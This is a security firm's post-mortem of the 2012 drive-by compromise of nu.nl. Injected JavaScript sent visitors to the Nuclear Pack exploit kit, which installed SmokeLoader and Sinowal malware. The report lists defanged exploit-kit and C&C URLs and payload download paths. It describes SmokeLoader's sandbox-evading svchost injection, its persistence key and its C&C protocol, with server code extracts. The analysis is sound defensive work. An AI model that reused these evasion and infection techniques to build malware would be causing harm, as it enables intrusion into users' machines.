Post mortem report on the sinowal/nu.nl incident

March 14^th 2012, another normal day in the office, I looked at my massive to-do list and had planned quite some work for the day. And like every normal day my planning of the day is rudely interrupted by another incident. Our network analysts at the Security Operations Center looked very busy, and they were calling in for help from the Intel department. The SOC was very busy handling many incidents which started exactly from 11:30 CET. We analyzed the network traffic, the exploit kit and the installed Trojans and found it to be common Eastern European/Russian cybercrime components known as Nuclear Pack exploit kit, SmokeLoader and the Sinowal/Torpig/Mebroot Trojan. We contacted SurfRight to inform them this was happening, but fortunately they were already working on it. We had met with SurfRight a week earlier and discussed the problems with the Sinowal MBR infection and the lack of detection and removal in most current cleaning/removal products, they also knew about it and were still working on it. So this was a good time for them to invest some extra time into it, and with success as within a short time they were able to add detection and next day they had the bootkit cleaning functionality ready.

The second step was to investigate which site was responsible for the infection, typically on large websites which have many visitors a day, the infection comes from an advertisement. Possibly through a compromised advertising service redirecting many visitors to an exploit kit. This happened, for example, in August 2011. Interestingly that attack on OpenX ad server software was also used to distribute the Sinowal malware. Another method used is the purchase of legitimate advertisements for a certain country, and after the advertiser has checked the ads to be legitimate, modify the page to forward visitors to an exploit kit, this technique is known as malvertising. Malvertising actually requires money, so often stolen creditcards are used to buff the advertising account credits to allow many clicks before the credit runs out.

So, we started to look at the data we had available, when looking at network traffic it does not add any hints on where the compromise is, as the redirect is added to the DOM of the main page, so the referrer to the exploit kit is actually http://www.nu.nl. Due to the earlier incident in August 2011 I started looking at the downloaded content from the advertisement servers. Some time passed, it is painful work manually puzzling through all the data to find a needle in a haystack. Well, I could not find the source of infection, while our browser sandbox system indicated every hit for nu.nl was causing a redirect to the exploit kit. It started to puzzle me and only one thing remained, looking at the files of the nu.nl website itself, there was nothing which stood out on the main page such as a remote script, iframe or obfuscated javascript. I started to download the various javascript files where one stood out because it had a modification date of exactly 11:30:00 CET.

  HTTP/1.1 200 OK
  Server: Apache
  Vary: Host
  Last-Modified: Wed, 14 Mar 2012 10:30:00 GMT
  Cache-Control: max-age=86400
  Expires: Thu, 15 Mar 2012 10:31:54 GMT
  Content-Type: application/x-javascript
  P3P: policyref="http://www.nu.nl/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMa DEVa PSAa PSDa IVAa IVDa OUR IND UNI COM NAV INT STA"
  Content-Length: 2290
...

Response headers of http://www.nu.nl/files/g.js

The javascript is obfuscated with a simple obfuscator, but when you would look at this manually it would be easy to skip it as javascript files are often packed or compressed to save bandwidth. The file was simple and for us only interesting to see where it would redirect clients, which was interesting as it redirected systems specifically with Windows Vista/7/8 to a separate location in  the Nuclear Pack exploit kit. We were already in contact with nu.nl and forwarded the malicious script location to them and it was deleted soon after. Both the mainpage modification by including g.js and the script were added recently.

<script src=”hxxp://www.nu.nl/files/g.js” type=”text/javascript”></script>

After the file was overwritten with ‘OK’ at 13:23 CET by the nu.nl staff, the site still caused infections in our sandbox, we rechecked the main site and instead of g.js it now contained a link to gs.js.

<script src=”hxxp://www.nu.nl/files/gs.js” type=”text/javascript”></script>

This file was created before at 13:09:10 CET:

HTTP/1.1 200 OK
Server: Apache
Vary: Host
Last-Modified: Wed, 14 Mar 2012 12:09:10 GMT
Cache-Control: max-age=86400
Expires: Thu, 15 Mar 2012 12:27:41 GMT
Content-Type: application/x-javascript
P3P: policyref="http://www.nu.nl/w3c/p3p.xml", CP="NON DSP COR NID CURa ADMa DEVa PSAa PSDa IVAa IVDa OUR IND UNI COM NAV INT STA"
Content-Length: 2127
...

Response headers of http://www.nu.nl/files/gs.js

We informed the nu.nl staff of this change and at 13:42 CET the gs.js file was overwritten with ‘OK’ by the nu.nl staff. At this time we experienced no infections in our browser sandbox.

The amount of visitors to nu.nl around lunch time on a work day are of course huge, especially from corporate networks. The amount of alerts our Security Operations Center staff was getting combined with how effective the exploit for java typically is, with around one in eight visitors being infected, a little over 12%, led us to believe this was a huge incident and we scaled up our research efforts. At some networks there were hundreds of successful infections which, comparing to the previously referenced incident in August 2011, was of a completely different scale. Also the relative low profile presence of the exploit kit named Nuclear Pack, the use of newly setup hosts and URLs and the use of blocking of visitors outside of NL, which all results in less effective blocking by security products, such as blacklisting. Our educated estimation based on the amount of infections of previous incidents of similar scales makes it very plausible that the amount of infections is 100.000 or more, we found no hints that the related server hosting the exploit kit and C&C for SmokeLoader was overloaded, so that was not a factor that played any role during this infection campaign.

The exact time of publishing the initial g.js might indicate that there might have been a task for publishing introduced in the CMS system, which further increases the likelihood that this was a well planned attack. We suspect this because the exploit kit, the executables and the smokeloader C&C server were all created for the purpose of infecting visitors of nu.nl. The domains, urls and server were not blacklisted during the attack and the 2 smokeloader executables were virgin crypted and were not detected by any anti-virus product that we used to analyze the binary. Even 9 hours after the smokeloader Trojan executables were in the wild, the executables were not recognized by the majority of anti-virus products as can be seen at:

https://www.virustotal.com/file/e625fdb49695886ee2781d6e2c3755f7fc8c9c56ca208bdd14e51f11466abe10/analysis/1331756363/

https://www.virustotal.com/file/c667f39573b4bbd10aa26e841a9dda3ab0407de12606e9a58e16fc9427ce7dc1/analysis/1331756265/

The exploit kits were located at the following URLs:

Windows Vista/7/8 systems were redirected to:

hxxp://svitart .in/index.php?adaebb3f91ea88ba4bc624b6625e5d52
hxxp://svitchudes .in/index.php?9a41e20f564247648add4e6f1ec18e65

Windows XP and other systems were redirected to:

hxxp://accbud .in/index.php?4cfcb816db07831247fe5e2db2878634
hxxp://accent6 .in/index.php?0acb5dbb36f93141b027d416261af42e

A successfully exploited system through one of the three vulnerabilities will download and execute the following url:

/server_privileges.php?<random>=<digit>

An example:

/server_privileges.php?36d3677b09fc971f6d37ac96b1d2cf56=3

This will load files from the system which are located on:

hxxp://accent6 .in/files/load1.exe (for Windows XP and earlier systems)
hxxp://accent6 .in/files/load2.exe (for Windows Vista/7/8 systems)

Both files, load1.exe and load2.exe were uploaded on the exploit kit server at 09:26 CET on the 14^th of March 2012.

The IP addresses used for these exploit kits were 188.95.50.55, 188.95.50.56, 188.95.50.57 and 188.95.50.58 which were hosted in The Netherlands at serverboost.nl, and not in India as indicated by other publications. We provided the domains and the IP addresses to Spamhaus and also contacted serverboost.nl directly. Thanks to the quick work of Spamhaus, within a short time the exploit kit domains and the active and backup domain for the smokeloader bot were taken offline, and soon after the server itself was also taken offline which made the SmokeLoader botnet defunct, even if there were cached DNS entries. While the systems were still infected, the botnet was no longer under the control of the attacker.

The SmokeLoader Trojan is a resident downloader Trojan which has become more and more popular amongst cybercriminals since the end of 2011. Its basic purpose is to make sure the system remains infected and can be used to infect the system with other malware, other malware in the market are for example DLoader2010, MyLoader and Bredolab. This version was slightly different than previous versions we analyzed.

The Trojan main body is executed in a different way than most similar trojans, it creates a suspended svchost.exe using CreateProcessInternalA and not CreateProcessA, this is used to bypass userland hooking code used in some sandboxes, it creates a section in the current process, copies the Trojan body to it, and maps this section from the remote process. The Trojan body is a position independent block of code and data and not a full MZ executable. So it does not inject a complete decrypted Trojan executable in the remote process, but only the Trojan executable body which was also done similarly in the DLoader2010 malware family. It does not overwrite the existing svchost.exe binary completely in memory, but maps only the Trojan body in the suspended svchost.exe process and overwrites the entry point of the svchost.exe binary in memory with a push ret combination that pushes the location of the mapped Trojan body to the stack which causes the next return instruction to divert to the Trojan code block. The Trojan body decrypts itself and resolves its own imports.

The Trojan copies itself to the Application Data folder (Windows XP/2000) or AppData\Roaming folder (Windows Vista/7), and uses a filename based on the pVolumeSerialNumber, which it will xor with 0x6454263F and the last 6 characters of the result are used as the filename with appended .exe. To make sure the Trojan starts on boot It will create a registry entry pointing to the copied executable in:

HKEY CURRENT USER
Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
Stardock

The Trojan monitors this startup key and when it is deleted, it will add it again, using a watchdog thread. The Trojan code also keeps a file handle open to the executable to make it more difficult to remove.

This variant of SmokeLoader connected to the following urls for command and control traffic:

hxxp://prolesok .in /sml/index.php
hxxp://accedoproductmd .in /sml/index.php

The sent traffic is encrypted with xor and encoded by base64, but the downloaded binary is sent in plain over the wire. The decrypted traffic looks like the following:

cmd=getload&login=<botid>&sel=PiuPi&ver=5.1&bits=0&file=0&run=ok

The botid is calculated from the md5 of the computername with concatenated the pVolumeSerialNumber xor 0x6454263F, resulting in a 40byte string, which is used on the serverside to distinguish bots, which is stored in the cname column in the database, which is the unique key for the bot.

Extract from SmokeLoader database schema:

CREATE TABLE `bots` (
 `id` int(11) NOT NULL auto_increment,
 ...
`cname` varchar(80) NOT NULL,
...
`seller` varchar(5) NOT NULL,
 ...
PRIMARY KEY  (`id`),
 UNIQUE KEY `cname` (`cname`)
 ) ENGINE=MyISAM  DEFAULT CHARSET=cp1251 AUTO_INCREMENT=1;"

Extract from SmokeLoader PHP code:

mysql_query("INSERT INTO `bots` (`id`, `ip`, `os`, `country`, `time`, `cname`, `work`, `seller`, `bits`)
VALUES ('', '".$ip."', '".$os."', '".$country."', '".time()."', '".$login."', '1', '".$sel."', '".$bits."')
ON DUPLICATE KEY UPDATE time=".time().";");

Interesting is that the sel= parameter is the seller id which comes from the common use of having varying infection sources, in case you distribute your SmokeLoader binary via different methods or pay per install providers you can distinguish the number of loads of the SmokeLoader binary. In this case the seller nickname is ‘PiuPi’, which is embedded in the SmokeLoader binary, as you can see in the above database scheme the seller id is only five characters long. Interestingly the five characters match a user on AntiChat, a Russian language underground forum, which was compromised and its database leaked a few years ago. The full nickname is `piupiupo’ using a Yandex email address, a Russian free mail provider, and from the database leak we can see that in 2010 he logged in from a Russian IP address located in Moscow, which belongs to a consumer ISP.

Now comes the interesting part, the SmokeLoader C&C server distributed Sinowal, which has been around for a good 6 years now and has been active in The Netherlands from time to time since 2007. The SmokeLoader distributed a component known as ‘miniloader’, which downloads the installer component from the Sinowal installer server. On Windows 2000 and Windows XP it will install the MBR bootkit, which is used since the end of 2007 as the method of startup, which is also commonly referred to as Mebroot. Only a few security products are able to detect this modified MBR from a running system and even less are able to actually clean it. HitmanPro from SurfRight and Tdsskiller from Kaspersky are two products that were confirmed to remove the bootkit component on Windows 2000 and Windows XP systems. On Windows Vista and Seven systems the threat would install a userland component but we have not verified this during the nu.nl compromise.

We have investigated a couple hundred infections on corporate networks, but one odd thing appeared, the Trojan did appear to be malfunctioning, from all the infections we investigated, only one infection actually connected to the Sinowal command and control infrastructure that would indicate a successful infection. We are not sure why this happens and are unable to verify the reason for this. We have heard the same story from other researchers in the field and are not able to verify why this happens, but time will tell…

Michael Sandee et al

Principal Security Expert